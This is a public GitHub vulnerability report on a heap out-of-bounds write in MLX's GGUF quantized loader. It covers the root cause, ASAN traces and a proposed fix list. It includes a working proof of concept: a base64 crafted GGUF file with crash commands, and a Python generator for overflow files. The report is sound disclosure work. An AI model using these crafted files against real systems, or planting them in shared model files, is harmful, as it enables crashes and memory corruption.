Heap out-of-bounds write in GGUF quantized tensor loading: allocation size truncates to 32 bits #4244

Reported privately as GHSA-2284-h945-8w3c; @zcbenz asked that it be filed publicly instead, so here it is with full detail.

mx.load() on a crafted GGUF file writes past the end of a heap allocation. Confirmed under AddressSanitizer at 21d897d (v0.32.0-189) and as SIGSEGV against mlx==0.32.0 from PyPI. Three crash sites, one per quantized type.

Root cause

Two independent defects that only matter in combination.

1. std::accumulate deduces int — mlx/io/gguf_quants.cpp:125-139

auto w_nbytes = uint32.size() *
    std::accumulate(weights_shape.begin(),
                    weights_shape.end(),
                    1,                          // <-- int literal
                    std::multiplies<size_t>());
...
auto sb_nbytes = float16.size() *
    std::accumulate(shape.begin(), shape.end(), 1, std::multiplies<size_t>());

std::accumulate's return type is deduced from init, not from the binary op. The literal 1 is int, so T = int and each intermediate product is assigned back into an int. std::multiplies<size_t> computes a 64-bit product and then it gets truncated on assignment. Both w_nbytes and sb_nbytes are (true product) mod 2^32, scaled by element size.

2. The Shape element count is never checked against the validated byte size

check_tensor_in_file() (mlx/io/gguf.cpp:229-247) validates tensor.offset and tensor.bsize against the file mapping. That check is correct, and it is the only one.

get_shape() (mlx/io/gguf.cpp:49-57) separately narrows each 64-bit file dimension into 32-bit ShapeElem with no range or sign check:

for (int i = tensor.ndim - 1; i >= 0; i--) {
  shape.push_back(tensor.dim[i]);          // uint64 -> int32
}

So the element count exists in two widths, derived from the same file bytes, never compared. Choose dimensions whose 64-bit product wraps small — bsize is then small and the bounds check passes — while the low 32 bits stay large, so the Shape still describes billions of elements.

3. The write

The extractors loop on array size, not on the validated byte size (gguf_quants.cpp:88-100, same shape at :45 and :67):

for (int64_t i = 0; i < scales_arr.size(); i++) {
  uint8_t* block_data = data + i * bytes_per_block;
  scales[i] = *((float16_t*)block_data);
  ...
}

scales_arr.size() is the true size_t product. The buffers were sized by the truncated value. unpack_32_4 overruns weights the same way.

Reproduction

No build needed. This 96-byte file drives num_weights to exactly 0, so bsize is 0 and the allocation is 0 bytes, against a 2^59-iteration write loop:

python3 -c "import base64,sys; open('poc.gguf','wb').write(base64.b64decode(sys.stdin.read()))" <<'B64'
R0dVRgMAAAABAAAAAAAAAAAAAAAAAAAACAAAAAAAAAB3LndlaWdodAMAAAAAAAACAQAAAACAAAABAAAAAAAAAQEAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
B64

python3 -m venv venv && ./venv/bin/pip install mlx==0.32.0
./venv/bin/python -c "import mlx.core as mx; mx.load('poc.gguf')"   # exit 139

sha256(poc.gguf) = e8fe5e2c84854df04364e26f396c7cd53b5e7d6014ff66c3e7e44e65d78d81a6

ASAN at HEAD

==29501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000010808
WRITE of size 2 at 0x631000010808 thread T0
    #0 mlx::core::extract_q8_0_data(...) gguf_quants.cpp:90
    #1 mlx::core::gguf_load_quantized(...) gguf_quants.cpp:145
    #2 mlx::core::load_arrays(gguf_ctx*) gguf.cpp:253
    #3 mlx::core::load_gguf(...) gguf.cpp:280
0x631000010808 is located 0 bytes after 65544-byte region [0x631000000800,0x631000010808)
allocated by thread T0 here:
    #1 mlx::core::allocator::CommonAllocator::malloc(unsigned long) allocator.cpp:102
    #2 mlx::core::gguf_load_quantized(...) gguf_quants.cpp:138

extract_q4_0_data (:45) and extract_q4_1_data (:67) give the same overflow.

PoC generator

#!/usr/bin/env python3
"""Generate PoC GGUF files for the MLX quantized-loader heap overflow.

    python3 poc_gen.py [output_dir]

Each file is a GGUF header plus filler bytes -- no model data.
"""
import struct, sys, os

M32, M64 = 1 << 32, 1 << 64
TYPES = {"q4_0": (2, 32, 18), "q4_1": (3, 32, 20), "q8_0": (8, 32, 34)}
OUT = sys.argv[1] if len(sys.argv) > 1 else "."


def build(dims, ttype, data_len, name=b"w.weight"):
    hdr = b"GGUF" + struct.pack("<I", 3) + struct.pack("<QQ", 1, 0)
    ti = struct.pack("<Q", len(name)) + name + struct.pack("<I", len(dims))
    for d in dims:
        ti += struct.pack("<Q", d)
    ti += struct.pack("<I", ttype) + struct.pack("<Q", 0)
    body = hdr + ti
    body += b"\x00" * ((32 - len(body) % 32) % 32)   # gguflib alignment = 32
    return body + b"\x41" * data_len


def bsize_of(nw, ipb, bpb):
    return ((nw + (ipb - nw % ipb) % ipb) // ipb) * bpb


# uint64 dim product wraps to 2**20 -> bsize ~1 MB passes the bounds check,
# while the int32 Shape still describes 2**40 elements.
inv = (-(1 << 20) + 1) % M32
d0 = ((-256 * inv) % M32) * M32 + (1 << 20)
d1 = (1 << 20) + 1
assert (d0 * d1) % M64 == (1 << 20)
for tname, (ttype, ipb, bpb) in TYPES.items():
    nw = (d0 * d1) % M64
    open(os.path.join(OUT, f"poc2_{tname}.gguf"), "wb").write(
        build([d0, d1], ttype, bsize_of(nw, ipb, bpb)))

# num_weights wraps to exactly 0 -> zero-byte allocation, 2**59-iteration loop.
dims = [M32 + (1 << 25), M32 + (1 << 15), M32 + (1 << 24)]
nw = 1
for d in dims:
    nw = (nw * d) % M64
open(os.path.join(OUT, "poc_q8_overflow.gguf"), "wb").write(build(dims, 8, 0))

The one-line fix is not sufficient

Changing the init to size_t{1} alone makes the (now correct) 68 GB allocation fail, and allocator::Buffer::raw_ptr() at mlx/backend/no_gpu/allocator.cpp:174-179 returns nullptr unchecked. You get a null-pointer write SEGV at gguf_quants.cpp:97 instead. I verified this.

A complete fix needs:

1. std::accumulate(..., size_t{1}, std::multiplies<size_t>()) in both places, with checked 64-bit arithmetic (__builtin_mul_overflow or equivalent).
2. Reject ndim == 0 — gguf_quants.cpp:116 indexes shape[shape.size() - 1], and gguflib's assert(ndim <= 8) permits 0.
3. Reject dimensions that are non-positive or exceed int32 range before narrowing in get_shape().
4. Cross-check the shape-derived element count against tensor.num_weights, and the extractors' read span (blocks * bytes_per_block) against tensor.bsize. This is the one that actually closes it — without it the two widths can always be made to disagree.
5. Check allocator::malloc results before use.

For reference on the fix shape, llama.cpp hardened the equivalent arithmetic in its own GGUF parser across CVE-2025-53630, CVE-2026-27940, and CVE-2026-33298 — the last of those is the same pattern as this one (size calculation wraps to a small value while the code still iterates the full tensor dimensions).

Related, lower severity

Reporting these here so they can be fixed in the same pass.

1. Unchecked integer overflow in the safetensors bounds check — mlx/io/safetensors.cpp:186: if (offset + data_offsets[1] > file_size) wraps. A header with shape:[-82], dtype:"U8", data_offsets:[0, 18446744073709551534] is accepted and the array reports size = 18446744073709551534. expected_nbytes at :170-173 also wraps via static_cast<size_t>(dim) on a negative int32. Reads go through pread, which is bounds-safe, so impact looks limited to DoS.
2. Negative dimensions survive safetensors validation — shape:[-1,-1] yields an accepted array with size() == 1 and negative strides. I exercised add/sum/astype/transpose/reshape/concatenate without producing an OOB.
3. gguflib header parsing is unbounded — gguf_get_key and gguf_set_data_offset add file-supplied string lengths to ctx->off and dereference without comparing against ctx->size. PR Bound GGUF tensor data offsets against the file mapping #4179 bounded tensor data offsets only.

Environment

mlx 0.32.0 from PyPI; ml-explore/mlx at 21d897d for the ASAN build. macOS 26.6.1 (Darwin 25.6.0), arm64, Apple clang. Build: cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DMLX_BUILD_METAL=OFF.

Present in v0.29.3, v0.30.0, v0.31.0, v0.32.0 and on main. Not bisected earlier than v0.29.3.

Happy to send a PR for the fix list above if that's useful.